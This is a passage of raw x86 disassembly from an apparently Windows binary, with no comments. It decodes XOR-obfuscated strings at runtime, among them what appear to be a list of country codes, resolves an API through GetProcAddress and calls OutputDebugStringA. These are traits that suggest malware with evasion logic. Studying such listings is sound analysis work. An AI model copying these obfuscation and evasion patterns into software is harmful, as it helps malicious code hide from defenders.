call fcn.00402ab0
lea ecx, [esp + 0x6f8]
call fcn.00402b50
push eax
lea ecx, [esp + 0xad4]
call fcn.00402ab0
xorps xmm0, xmm0
mov word [esp + 0x2b5], 0xd2cc
movq qword [esp + 0x2b7], xmm0
xor ecx, ecx
mov word [esp + 0x2bf], 0
nop
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x2b5], al
inc ecx
cmp ecx, 2
jb 0x47d080
lea eax, [esp + 0x2b5]
mov dword [0x55d598], ecx
push eax
lea ecx, [esp + 0x6e4]
mov byte [esp + 0x2bb], 0
call fcn.00402ab0
lea ecx, [esp + 0x6e0]
call fcn.00402b50
push eax
lea ecx, [esp + 0xaec]
call fcn.00402ab0
xorps xmm0, xmm0
mov word [esp + 0x255], 0xd1c5
movq qword [esp + 0x257], xmm0
xor ecx, ecx
mov word [esp + 0x25f], 0
nop
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x255], al
inc ecx
cmp ecx, 2
jb 0x47d0f0
lea eax, [esp + 0x255]
mov dword [0x55d598], ecx
push eax
lea ecx, [esp + 0x6cc]
mov byte [esp + 0x25b], 0
call fcn.00402ab0
lea ecx, [esp + 0x6c8]
call fcn.00402b50
push eax
lea ecx, [esp + 0xb04]
call fcn.00402ab0
xorps xmm0, xmm0
mov word [esp + 0x285], 0xc5c6
movq qword [esp + 0x287], xmm0
xor ecx, ecx
mov word [esp + 0x28f], 0
nop
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x285], al
inc ecx
cmp ecx, 2
jb 0x47d160
lea eax, [esp + 0x285]
mov dword [0x55d598], ecx
push eax
lea ecx, [esp + 0x6b4]
mov byte [esp + 0x28b], 0
call fcn.00402ab0
lea ecx, [esp + 0x6b0]
call fcn.00402b50
push eax
lea ecx, [esp + 0xb1c]
call fcn.00402ab0
xorps xmm0, xmm0
mov word [esp + 0x291], 0xd2d2
movq qword [esp + 0x293], xmm0
xor ecx, ecx
mov word [esp + 0x29b], 0
nop
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x291], al
inc ecx
cmp ecx, 2
jb 0x47d1d0
lea eax, [esp + 0x291]
mov dword [0x55d598], ecx
push eax
lea ecx, [esp + 0x69c]
mov byte [esp + 0x297], 0
call fcn.00402ab0
lea ecx, [esp + 0x698]
call fcn.00402b50
push eax
lea ecx, [esp + 0xb34]
call fcn.00402ab0
xorps xmm0, xmm0
mov word [esp + 0x29d], 0xccca
movq qword [esp + 0x29f], xmm0
xor ecx, ecx
mov word [esp + 0x2a7], 0
nop
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x29d], al
inc ecx
cmp ecx, 2
jb 0x47d240
lea eax, [esp + 0x29d]
mov dword [0x55d598], ecx
push eax
lea ecx, [esp + 0x684]
mov byte [esp + 0x2a3], 0
call fcn.00402ab0
lea ecx, [esp + 0x680]
call fcn.00402b50
push eax
lea ecx, [esp + 0xb4c]
call fcn.00402ab0
xorps xmm0, xmm0
mov word [esp + 0x249], 0xcfcc
movq qword [esp + 0x24b], xmm0
xor ecx, ecx
mov word [esp + 0x253], 0
nop
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x249], al
inc ecx
cmp ecx, 2
jb 0x47d2b0
lea eax, [esp + 0x249]
mov dword [0x55d598], ecx
push eax
lea ecx, [esp + 0x66c]
mov byte [esp + 0x24f], 0
call fcn.00402ab0
lea ecx, [esp + 0x668]
call fcn.00402b50
push eax
lea ecx, [esp + 0xb64]
call fcn.00402ab0
xorps xmm0, xmm0
mov word [esp + 0x2a9], 0xc2d3
movq qword [esp + 0x2ab], xmm0
xor ecx, ecx
mov word [esp + 0x2b3], 0
nop
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x2a9], al
inc ecx
cmp ecx, 2
jb 0x47d320
lea eax, [esp + 0x2a9]
mov dword [0x55d598], ecx
push eax
lea ecx, [esp + 0x654]
mov byte [esp + 0x2af], 0
call fcn.00402ab0
lea ecx, [esp + 0x650]
call fcn.00402b50
push eax
lea ecx, [esp + 0xb7c]
call fcn.00402ab0
xorps xmm0, xmm0
mov word [esp + 0x231], 0xc9d2
movq qword [esp + 0x233], xmm0
xor ecx, ecx
mov word [esp + 0x23b], 0
nop
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x231], al
inc ecx
cmp ecx, 2
jb 0x47d390
lea eax, [esp + 0x231]
mov dword [0x55d598], ecx
push eax
lea ecx, [esp + 0x63c]
mov byte [esp + 0x237], 0
call fcn.00402ab0
lea ecx, [esp + 0x638]
call fcn.00402b50
push eax
lea ecx, [esp + 0xb94]
call fcn.00402ab0
xorps xmm0, xmm0
mov word [esp + 0x279], 0xd2c6
movq qword [esp + 0x27b], xmm0
xor ecx, ecx
mov word [esp + 0x283], 0
nop
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x279], al
inc ecx
cmp ecx, 2
jb 0x47d400
lea eax, [esp + 0x279]
mov dword [0x55d598], ecx
push eax
lea ecx, [esp + 0x624]
mov byte [esp + 0x27f], 0
call fcn.00402ab0
lea ecx, [esp + 0x620]
call fcn.00402b50
push eax
lea ecx, [esp + 0xbac]
call fcn.00402ab0
lea eax, [esp + 0xbc0]
push eax
lea eax, [esp + 0xad4]
push eax
lea ecx, [esp + 0x990]
call fcn.00480030
lea ecx, [esp + 0x990]
push dword [eax + 4]
push dword [eax]
call fcn.0047fd50
push fcn.00402a10
push 0xa
push 0x18
lea eax, [esp + 0xadc]
push eax
call fcn.004fb135
lea ecx, [esp + 0x620]
call fcn.00402a10
lea ecx, [esp + 0x638]
call fcn.00402a10
lea ecx, [esp + 0x650]
call fcn.00402a10
lea ecx, [esp + 0x668]
call fcn.00402a10
lea ecx, [esp + 0x680]
call fcn.00402a10
lea ecx, [esp + 0x698]
call fcn.00402a10
lea ecx, [esp + 0x6b0]
call fcn.00402a10
lea ecx, [esp + 0x6c8]
call fcn.00402a10
lea ecx, [esp + 0x6e0]
call fcn.00402a10
lea ecx, [esp + 0x6f8]
call fcn.00402a10
lea eax, [esp + 0x4a8]
push eax
lea ecx, [esp + 0x994]
call fcn.00487cf0
test eax, eax
je 0x47d5c5
movaps xmm0, xmmword [0x549a30]
xor ecx, ecx
movups xmmword [esp + 0x440], xmm0
mov word [esp + 0x450], 0xebe4
xorps xmm0, xmm0
mov word [esp + 0x45a], 0
movq qword [esp + 0x452], xmm0
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x440], al
inc ecx
cmp ecx, 0x12
jb 0x47d554
lea eax, [esp + 0x440]
mov dword [0x55d5dc], ecx
push eax
lea ecx, [esp + 0x714]
mov byte [esp + 0x456], 0
call fcn.00402ab0
lea ecx, [esp + 0x710]
call fcn.00402b50
push 0x5429b4
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x710]
mov esi, eax
call fcn.00402a10
test esi, esi
je 0x47d5c5
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.4443436
call esi
call fcn.00426070
call fcn.004260e0
call fcn.00426150
call fcn.004261c0
call fcn.00426230
mov ecx, 0x55d058
call fcn.00480860
test al, al
je 0x47d699
mov ecx, 0x55d058
call fcn.00480880
test al, al
jne 0x47d699
movaps xmm0, xmmword [0x548580]
xor ecx, ecx
mov dword [esp + 0x345], 0xe8e8fae0
mov byte [esp + 0x349], 0xd4
movups xmmword [esp + 0x34a], xmm0
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x345], al
inc ecx
cmp ecx, 0xb
jb 0x47d633
lea eax, [esp + 0x345]
mov dword [0x55d530], ecx
push eax
lea ecx, [esp + 0x72c]
mov byte [esp + 0x354], 0
call fcn.00402ab0
lea ecx, [esp + 0x728]
mov dword [esp + 0x38], 1
call fcn.00402b50
push eax
mov ecx, 0x55d058
call fcn.00486ff0
mov ecx, eax
call fcn.00480870
test al, al
je 0x47d699
mov bl, 1
mov eax, 1
jmp 0x47d69f
mov eax, dword [esp + 0x38]
xor bl, bl
test al, 1
je 0x47d6af
lea ecx, [esp + 0x728]
call fcn.00402a10
test bl, bl
je 0x47dc73
movaps xmm0, xmmword [0x548580]
xor ecx, ecx
mov dword [esp + 0x36f], 0xe8e8fae0
mov byte [esp + 0x373], 0xd4
movups xmmword [esp + 0x374], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x36f], al
inc ecx
cmp ecx, 0xb
jb 0x47d6e0
lea eax, [esp + 0x36f]
mov dword [0x55d530], ecx
push eax
lea ecx, [esp + 0x744]
mov byte [esp + 0x37e], 0
call fcn.00402ab0
lea ecx, [esp + 0x740]
call fcn.00402b50
push eax
mov ecx, 0x55d058
call fcn.00486ff0
mov ecx, eax
call fcn.004879f0
lea ecx, [esp + 0x740]
mov byte [0x55aabb], al
call fcn.00402a10
movaps xmm0, xmmword [0x547c10]
xor ecx, ecx
mov byte [esp + 0x14d], 0xe0
movups xmmword [esp + 0x14e], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x14d], al
inc ecx
cmp ecx, 7
jb 0x47d760
lea eax, [esp + 0x14d]
mov dword [0x55d560], ecx
push eax
lea ecx, [esp + 0x75c]
mov byte [esp + 0x158], 0
call fcn.00402ab0
lea ecx, [esp + 0x758]
call fcn.00402b50
push eax
mov ecx, 0x55d058
call fcn.00486ff0
mov ecx, eax
call fcn.004879f0
lea ecx, [esp + 0x758]
mov byte [0x55aac5], al
call fcn.00402a10
movaps xmm0, xmmword [0x5484a0]
xor ecx, ecx
mov byte [esp + 0x13b], 0xe0
movups xmmword [esp + 0x13c], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x13b], al
inc ecx
cmp ecx, 7
jb 0x47d7e0
lea eax, [esp + 0x13b]
mov dword [0x55d560], ecx
push eax
lea ecx, [esp + 0x774]
mov byte [esp + 0x146], 0
call fcn.00402ab0
lea ecx, [esp + 0x770]
call fcn.00402b50
push eax
mov ecx, 0x55d058
call fcn.00486ff0
mov ecx, eax
call fcn.004879f0
lea ecx, [esp + 0x770]
mov byte [0x55aaba], al
call fcn.00402a10
movaps xmm0, xmmword [0x547490]
xor ecx, ecx
mov dword [esp + 0x312], 0xe8e8fae0
mov word [esp + 0x316], 0xfbd4
movups xmmword [esp + 0x318], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x312], al
inc ecx
cmp ecx, 0xc
jb 0x47d870
lea eax, [esp + 0x312]
mov dword [0x55d528], ecx
push eax
lea ecx, [esp + 0x78c]
mov byte [esp + 0x322], 0
call fcn.00402ab0
lea ecx, [esp + 0x788]
call fcn.00402b50
push eax
mov ecx, 0x55d058
call fcn.00486ff0
mov ecx, eax
call fcn.004879f0
lea ecx, [esp + 0x788]
mov byte [0x55aab9], al
call fcn.00402a10
movaps xmm0, xmmword [0x547b90]
xor ecx, ecx
mov dword [esp + 0x2fb], 0xe8e8fae0
mov word [esp + 0x2ff], 0xe5d4
mov byte [esp + 0x301], 0xe5
movups xmmword [esp + 0x302], xmm0
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x2fb], al
inc ecx
cmp ecx, 0xd
jb 0x47d900
lea eax, [esp + 0x2fb]
mov dword [0x55d57c], ecx
push eax
lea ecx, [esp + 0x7a4]
mov byte [esp + 0x30c], 0
call fcn.00402ab0
lea ecx, [esp + 0x7a0]
call fcn.00402b50
push eax
mov ecx, 0x55d058
call fcn.00486ff0
mov ecx, eax
call fcn.004879f0
lea ecx, [esp + 0x7a0]
mov byte [0x55aac4], al
call fcn.00402a10
movaps xmm0, xmmword [0x5484d0]
xor ecx, ecx
mov word [esp + 0x3a4], 0xfae0
movups xmmword [esp + 0x3a6], xmm0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x3a4], al
inc ecx
cmp ecx, 8
jb 0x47d980
lea eax, [esp + 0x3a4]
mov dword [0x55d624], ecx
push eax
lea ecx, [esp + 0x7bc]
mov byte [esp + 0x3b0], 0
call fcn.00402ab0
lea ecx, [esp + 0x7b8]
call fcn.00402b50
push eax
mov ecx, 0x55d058
call fcn.00486ff0
mov ecx, eax
call fcn.004879f0
lea ecx, [esp + 0x7b8]
mov byte [0x55aac6], al
call fcn.00402a10
movaps xmm0, xmmword [0x547720]
xor ecx, ecx
mov dword [esp + 0x384], 0xe8e8fae0
movups xmmword [esp + 0x388], xmm0
nop
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x384], al
inc ecx
cmp ecx, 0xa
jb 0x47da00
lea eax, [esp + 0x384]
mov dword [0x55d5e0], ecx
push eax
lea ecx, [esp + 0x7d4]
mov byte [esp + 0x392], 0
call fcn.00402ab0
lea ecx, [esp + 0x7d0]
call fcn.00402b50
push eax
mov ecx, 0x55d058
call fcn.00486ff0
mov ecx, eax
call fcn.004879f0
lea ecx, [esp + 0x7d0]
mov byte [0x55aab8], al
call fcn.00402a10
movaps xmm0, xmmword [0x547970]
xor ecx, ecx
mov dword [esp + 0x2e2], 0xe8e8fae0
mov dword [esp + 0x2e6], 0xfde8e1d4
mov byte [esp + 0x2ea], 0xfc
movups xmmword [esp + 0x2eb], xmm0
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x2e2], al
inc ecx
cmp ecx, 0xf
jb 0x47da91
lea eax, [esp + 0x2e2]
mov dword [0x55d558], ecx
push eax
lea ecx, [esp + 0x7ec]
mov byte [esp + 0x2f5], 0
call fcn.00402ab0
lea ecx, [esp + 0x7e8]
call fcn.00402b50
push eax
mov ecx, 0x55d058
call fcn.00486ff0
mov ecx, eax
call fcn.004879f0
lea ecx, [esp + 0x7e8]
mov byte [0x55aac8], al
call fcn.00402a10
movaps xmm0, xmmword [0x547440]
xor ecx, ecx
mov word [esp + 0x3b6], 0xfae0
movups xmmword [esp + 0x3b8], xmm0
nop
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x3b6], al
inc ecx
cmp ecx, 8
jb 0x47db10
lea eax, [esp + 0x3b6]
mov dword [0x55d624], ecx
push eax
lea ecx, [esp + 0x804]
mov byte [esp + 0x3c2], 0
call fcn.00402ab0
lea ecx, [esp + 0x800]
call fcn.00402b50
push eax
mov ecx, 0x55d058
call fcn.00486ff0
mov ecx, eax
call fcn.004879f0
lea ecx, [esp + 0x800]
mov byte [0x55aac7], al
call fcn.00402a10
movaps xmm0, xmmword [0x547d80]
xor ecx, ecx
mov word [esp + 0x3c8], 0xfbf2
movups xmmword [esp + 0x3ca], xmm0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x3c8], al
inc ecx
cmp ecx, 8
jb 0x47db90
lea eax, [esp + 0x3c8]
mov dword [0x55d624], ecx
push eax
lea ecx, [esp + 0xb0]
mov byte [esp + 0x3d4], 0
call fcn.00402ab0
lea ecx, [esp + 0xac]
call fcn.00402b50
push eax
mov ecx, 0x55d058
call fcn.00486ff0
mov ecx, eax
call fcn.004879f0
lea ecx, [esp + 0xac]
mov byte [0x55ce43], al
call fcn.00402a10
movaps xmm0, xmmword [0x549c80]
xor ecx, ecx
movups xmmword [esp + 0x78], xmm0
mov word [esp + 0x88], 0xf9e3
xorps xmm0, xmm0
mov word [esp + 0x92], 0
movq qword [esp + 0x8a], xmm0
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x78], al
inc ecx
cmp ecx, 0x12
jb 0x47dc20
lea eax, [esp + 0x78]
mov dword [0x55d5dc], ecx
push eax
lea ecx, [esp + 0x44]
mov byte [esp + 0x8e], 0
call fcn.00402ab0
lea ecx, [esp + 0x40]
call fcn.00402b50
push eax
mov ecx, 0x55d058
call fcn.00486ff0
mov ecx, eax
call fcn.004879f0
lea ecx, [esp + 0x40]
mov byte [0x55ce23], al
call fcn.00402a10
push 0x5424b0
lea ecx, [esp + 0x4f4]
call fcn.00402ab0
push 0x5424b0
lea ecx, [esp + 0x4dc]
call fcn.00402ab0
push 0x5424b0
lea ecx, [esp + 0x4c4]
call fcn.00402ab0
lea eax, [esp + 0x478]
mov ecx, 0x55d110
push eax
call fcn.004806f0
lea eax, [esp + 0x550]
mov ecx, 0x55d110
push eax
call fcn.00480680
lea eax, [esp + 0x550]
push eax
lea ecx, [esp + 0x47c]
call fcn.00484530
test al, al
jne 0x47e7fc
mov ebx, dword [esp + 0x10]
nop word [eax + eax]
lea ecx, [esp + 0x478]
call fcn.00480330
xorps xmm0, xmm0
mov dword [esp + 0x207], 0xefe4e9e9
mov edi, eax
movq qword [esp + 0x20b], xmm0
mov word [esp + 0x213], 0
xor ecx, ecx
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x207], al
inc ecx
cmp ecx, 4
jb 0x47dd21
lea eax, [esp + 0x207]
mov dword [0x55d5d8], ecx
push eax
lea ecx, [esp + 0xb0]
mov byte [esp + 0x20f], 0
call fcn.00402ab0
lea ecx, [esp + 0xac]
call fcn.00402b50
push eax
mov ecx, edi
call fcn.00486ff0
lea ecx, [esp + 0x60]
mov esi, eax
call fcn.00402b20
lea edx, [esp + 0x60]
mov ecx, esi
call fcn.00496c70
movaps xmm0, xmmword [0x54a1a0]
xor ecx, ecx
movups xmmword [esp + 0x78], xmm0
mov dword [esp + 0x88], 0xabc6fdf9
xorps xmm0, xmm0
mov word [esp + 0x94], 0
movq qword [esp + 0x8c], xmm0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x78], al
inc ecx
cmp ecx, 0x14
jb 0x47ddb0
lea eax, [esp + 0x78]
mov dword [0x55d540], ecx
push eax
lea ecx, [esp + 0x44]
mov byte [esp + 0x90], 0
call fcn.00402ab0
lea ecx, [esp + 0x40]
call fcn.00402b50
push 0
push eax
lea ecx, [esp + 0x68]
call fcn.00482af0
lea ecx, [esp + 0x40]
mov esi, eax
call fcn.00402a10
lea ecx, [esp + 0x60]
call fcn.00402a10
lea ecx, [esp + 0xac]
call fcn.00402a10
test esi, esi
jne 0x47e09e
xorps xmm0, xmm0
mov dword [esp + 0x12c], 0xffe5e9f1
mov byte [esp + 0x130], 0xee
xor ecx, ecx
movq qword [esp + 0x131], xmm0
mov word [esp + 0x139], si
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x12c], al
inc ecx
cmp ecx, 5
jb 0x47de40
lea eax, [esp + 0x12c]
mov dword [0x55d544], ecx
push eax
lea ecx, [esp + 0x44]
mov byte [esp + 0x135], 0
call fcn.00402ab0
lea ecx, [esp + 0x40]
call fcn.00402b50
push eax
mov ecx, edi
call fcn.00486ff0
lea ecx, [esp + 0x508]
push ecx
mov ecx, eax
call fcn.00487130
push eax
lea ecx, [esp + 0x4f4]
call fcn.00482e90
lea ecx, [esp + 0x508]
call fcn.00402a10
lea ecx, [esp + 0x40]
call fcn.00402a10
xorps xmm0, xmm0
mov dword [esp + 0x215], 0xb4fbeabb
movq qword [esp + 0x219], xmm0
xor ecx, ecx
mov word [esp + 0x221], 0
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x215], al
inc ecx
cmp ecx, 4
jb 0x47ded5
lea eax, [esp + 0x215]
mov dword [0x55d5d8], ecx
push eax
lea ecx, [esp + 0x44]
mov byte [esp + 0x21d], 0
call fcn.00402ab0
lea ecx, [esp + 0x40]
call fcn.00402b50
push 0
push eax
lea ecx, [esp + 0x4f8]
call fcn.00482af0
lea ecx, [esp + 0x40]
mov esi, eax
call fcn.00402a10
cmp esi, 0xffffffff
je 0x47e09e
xorps xmm0, xmm0
mov word [esp + 0x26d], 0x828a
movq qword [esp + 0x26f], xmm0
xor ecx, ecx
mov word [esp + 0x277], 0
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x26d], al
inc ecx
cmp ecx, 2
jb 0x47df53
lea eax, [esp + 0x26d]
mov dword [0x55d598], ecx
push eax
lea ecx, [esp + 0xb0]
mov byte [esp + 0x273], 0
call fcn.00402ab0
lea ecx, [esp + 0xac]
call fcn.00402b50
push dword [esp + 0x10]
lea ecx, [esp + 0xc8]
mov esi, eax
call fcn.00402b60
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x47dfb0
sub ecx, edx
push ecx
push esi
lea ecx, [esp + 0xcc]
call fcn.00402b80
xorps xmm0, xmm0
mov dword [esp + 0x223], 0xb4fbeabb
movq qword [esp + 0x227], xmm0
xor ecx, ecx
mov word [esp + 0x22f], 0
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x223], al
inc ecx
cmp ecx, 4
jb 0x47dff0
lea eax, [esp + 0x223]
mov dword [0x55d5d8], ecx
push eax
lea ecx, [esp + 0x44]
mov byte [esp + 0x22b], 0
call fcn.00402ab0
lea ecx, [esp + 0x40]
call fcn.00402b50
push dword [esp + 0x10]
lea ecx, [esp + 0x64]
mov esi, eax
call fcn.00402b60
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x47e040
sub ecx, edx
push ecx
push esi
lea ecx, [esp + 0x68]
call fcn.00402b80
lea eax, [esp + 0xc4]
push eax
lea edx, [esp + 0x64]
lea ecx, [esp + 0x4f4]
call fcn.0040e370
add esp, 4
lea ecx, [esp + 0x60]
call fcn.00402a10
lea ecx, [esp + 0x40]
call fcn.00402a10
lea ecx, [esp + 0xc4]
call fcn.00402a10
lea ecx, [esp + 0xac]
call fcn.00402a10
jmp 0x47deb2
xorps xmm0, xmm0
mov dword [esp + 0x15f], 0xefe4e9e9
movq qword [esp + 0x163], xmm0
xor ecx, ecx
mov word [esp + 0x16b], 0
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x15f], al
inc ecx
cmp ecx, 4
jb 0x47e0c1
lea eax, [esp + 0x15f]
mov dword [0x55d5d8], ecx
push eax
lea ecx, [esp + 0xb0]
mov byte [esp + 0x167], 0
call fcn.00402ab0
lea ecx, [esp + 0xac]
call fcn.00402b50
push eax
mov ecx, edi
call fcn.00486ff0
lea ecx, [esp + 0x60]
mov esi, eax
call fcn.00402b20
lea edx, [esp + 0x60]
mov ecx, esi
call fcn.00496c70
movaps xmm0, xmmword [0x54a1a0]
xor ecx, ecx
movups xmmword [esp + 0x78], xmm0
mov dword [esp + 0x88], 0xa8c6fdf9
xorps xmm0, xmm0
mov word [esp + 0x94], 0
movq qword [esp + 0x8c], xmm0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x78], al
inc ecx
cmp ecx, 0x14
jb 0x47e150
lea eax, [esp + 0x78]
mov dword [0x55d540], ecx
push eax
lea ecx, [esp + 0x44]
mov byte [esp + 0x90], 0
call fcn.00402ab0
lea ecx, [esp + 0x40]
call fcn.00402b50
push 0
push eax
lea ecx, [esp + 0x68]
call fcn.00482af0
lea ecx, [esp + 0x40]
mov esi, eax
call fcn.00402a10
lea ecx, [esp + 0x60]
call fcn.00402a10
lea ecx, [esp + 0xac]
call fcn.00402a10
test esi, esi
jne 0x47e43e
xorps xmm0, xmm0
mov dword [esp + 0x11d], 0xffe5e9f1
mov byte [esp + 0x121], 0xee
xor ecx, ecx
movq qword [esp + 0x122], xmm0
mov word [esp + 0x12a], si
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x11d], al
inc ecx
cmp ecx, 5
jb 0x47e1e0
lea eax, [esp + 0x11d]
mov dword [0x55d544], ecx
push eax
lea ecx, [esp + 0x44]
mov byte [esp + 0x126], 0
call fcn.00402ab0
lea ecx, [esp + 0x40]
call fcn.00402b50
push eax
mov ecx, edi
call fcn.00486ff0
lea ecx, [esp + 0x508]
push ecx
mov ecx, eax
call fcn.00487130
push eax
lea ecx, [esp + 0x4dc]
call fcn.00482e90
lea ecx, [esp + 0x508]
call fcn.00402a10
lea ecx, [esp + 0x40]
call fcn.00402a10
xorps xmm0, xmm0
mov dword [esp + 0x16d], 0xb4fbeabb
movq qword [esp + 0x171], xmm0
xor ecx, ecx
mov word [esp + 0x179], 0
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x16d], al
inc ecx
cmp ecx, 4
jb 0x47e275
lea eax, [esp + 0x16d]
mov dword [0x55d5d8], ecx
push eax
lea ecx, [esp + 0x44]
mov byte [esp + 0x175], 0
call fcn.00402ab0
lea ecx, [esp + 0x40]
call fcn.00402b50
push 0
push eax
lea ecx, [esp + 0x4e0]
call fcn.00482af0
lea ecx, [esp + 0x40]
mov esi, eax
call fcn.00402a10
cmp esi, 0xffffffff
je 0x47e43e
xorps xmm0, xmm0
mov word [esp + 0x261], 0x828a
movq qword [esp + 0x263], xmm0
xor ecx, ecx
mov word [esp + 0x26b], 0
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x261], al
inc ecx
cmp ecx, 2
jb 0x47e2f3
lea eax, [esp + 0x261]
mov dword [0x55d598], ecx
push eax
lea ecx, [esp + 0xb0]
mov byte [esp + 0x267], 0
call fcn.00402ab0
lea ecx, [esp + 0xac]
call fcn.00402b50
push dword [esp + 0x10]
lea ecx, [esp + 0xc8]
mov esi, eax
call fcn.00402b60
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x47e350
sub ecx, edx
push ecx
push esi
lea ecx, [esp + 0xcc]
call fcn.00402b80
xorps xmm0, xmm0
mov dword [esp + 0x17b], 0xb4fbeabb
movq qword [esp + 0x17f], xmm0
xor ecx, ecx
mov word [esp + 0x187], 0
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x17b], al
inc ecx
cmp ecx, 4
jb 0x47e390
lea eax, [esp + 0x17b]
mov dword [0x55d5d8], ecx
push eax
lea ecx, [esp + 0x44]
mov byte [esp + 0x183], 0
call fcn.00402ab0
lea ecx, [esp + 0x40]
call fcn.00402b50
push dword [esp + 0x10]
lea ecx, [esp + 0x64]
mov esi, eax
call fcn.00402b60
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x47e3e0
sub ecx, edx
push ecx
push esi
lea ecx, [esp + 0x68]
call fcn.00402b80
lea eax, [esp + 0xc4]
push eax
lea edx, [esp + 0x64]
lea ecx, [esp + 0x4dc]
call fcn.0040e370
add esp, 4
lea ecx, [esp + 0x60]
call fcn.00402a10
lea ecx, [esp + 0x40]
call fcn.00402a10
lea ecx, [esp + 0xc4]
call fcn.00402a10
lea ecx, [esp + 0xac]
call fcn.00402a10
jmp 0x47e252
xorps xmm0, xmm0
mov dword [esp + 0x189], 0xefe4e9e9
movq qword [esp + 0x18d], xmm0
xor ecx, ecx
mov word [esp + 0x195], 0
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x189], al
inc ecx
cmp ecx, 4
jb 0x47e461
lea eax, [esp + 0x189]
mov dword [0x55d5d8], ecx
push eax
lea ecx, [esp + 0xb0]
mov byte [esp + 0x191], 0
call fcn.00402ab0
lea ecx, [esp + 0xac]
call fcn.00402b50
push eax
mov ecx, edi
call fcn.00486ff0
lea ecx, [esp + 0x60]
mov esi, eax
call fcn.00402b20
lea edx, [esp + 0x60]
mov ecx, esi
call fcn.00496c70
movaps xmm0, xmmword [0x54a1a0]
xor ecx, ecx
movups xmmword [esp + 0x78], xmm0
mov dword [esp + 0x88], 0xa9c6fdf9
xorps xmm0, xmm0
mov word [esp + 0x94], 0
movq qword [esp + 0x8c], xmm0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x78], al
inc ecx
cmp ecx, 0x14
jb 0x47e4f0
lea eax, [esp + 0x78]
mov dword [0x55d540], ecx
push eax
lea ecx, [esp + 0x44]
mov byte [esp + 0x90], 0
call fcn.00402ab0
lea ecx, [esp + 0x40]
call fcn.00402b50
push 0
push eax
lea ecx, [esp + 0x68]
call fcn.00482af0
lea ecx, [esp + 0x40]
mov esi, eax
call fcn.00402a10
lea ecx, [esp + 0x60]
call fcn.00402a10
lea ecx, [esp + 0xac]
call fcn.00402a10
test esi, esi
jne 0x47e7ce
xorps xmm0, xmm0
mov dword [esp + 0x10e], 0xffe5e9f1
mov byte [esp + 0x112], 0xee
xor ecx, ecx
movq qword [esp + 0x113], xmm0
mov word [esp + 0x11b], si
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x10e], al
inc ecx
cmp ecx, 5
jb 0x47e580
lea eax, [esp + 0x10e]
mov dword [0x55d544], ecx
push eax
lea ecx, [esp + 0x44]
mov byte [esp + 0x117], 0
call fcn.00402ab0
lea ecx, [esp + 0x40]
call fcn.00402b50
push eax
mov ecx, edi
call fcn.00486ff0
lea ecx, [esp + 0x508]
push ecx
mov ecx, eax
call fcn.00487130
push eax
lea ecx, [esp + 0x4c4]
call fcn.00482e90
lea ecx, [esp + 0x508]
call fcn.00402a10
lea ecx, [esp + 0x40]
call fcn.00402a10
xorps xmm0, xmm0
mov dword [esp + 0x197], 0xb4fbeabb
movq qword [esp + 0x19b], xmm0
xor ecx, ecx
mov word [esp + 0x1a3], 0
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x197], al
inc ecx
cmp ecx, 4
jb 0x47e615
lea eax, [esp + 0x197]
mov dword [0x55d5d8], ecx
push eax
lea ecx, [esp + 0x44]
mov byte [esp + 0x19f], 0
call fcn.00402ab0
lea ecx, [esp + 0x40]
call fcn.00402b50
push 0
push eax
lea ecx, [esp + 0x4c8]
call fcn.00482af0
lea ecx, [esp + 0x40]
mov esi, eax
call fcn.00402a10
cmp esi, 0xffffffff
je 0x47e7ce
xorps xmm0, xmm0
mov word [esp + 0x96], 0x828a
